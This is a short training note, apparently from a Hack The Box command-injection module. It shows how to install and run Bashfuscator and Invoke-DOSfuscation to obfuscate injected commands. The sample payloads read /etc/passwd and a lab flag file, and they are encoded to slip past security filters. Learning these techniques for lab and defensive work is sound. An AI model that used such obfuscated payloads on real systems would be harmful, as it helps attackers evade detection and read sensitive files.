---
title: "6. Evasion tooling for command injections"
date: 2024-12-05
draft: false
---


If we are dealing with more advanced security tools, the basic manual obfuscation techniques we've tried here may not work. In such cases, we can resort to automation. 

**Linux (Bashfuscator)**
https://github.com/Bashfuscator/Bashfuscator

```shell-session
stejwes@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
stejwes@htb[/htb]$ cd Bashfuscator
stejwes@htb[/htb]$ pip3 install setuptools==65
stejwes@htb[/htb]$ python3 setup.py install --user
```

```shell-session
stejwes@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters
```

Tool will randomly pick an obfuscation technique which can output a command anywhere from a few hundred characters to over a million(!) 
- use flags `-s` and `-t` and `--no-mangling` and `--layers` for example to finetune the payload 

```shell-session
stejwes@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
```

---
**Windows (DOSfuscation)**
Very similar tool https://github.com/danielbohannon/Invoke-DOSfuscation
Interactive tool - run it once and interact to get desired obfuscation level 

Run `tutorial` for tutorial. 

Example: 
```powershell-session
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
```

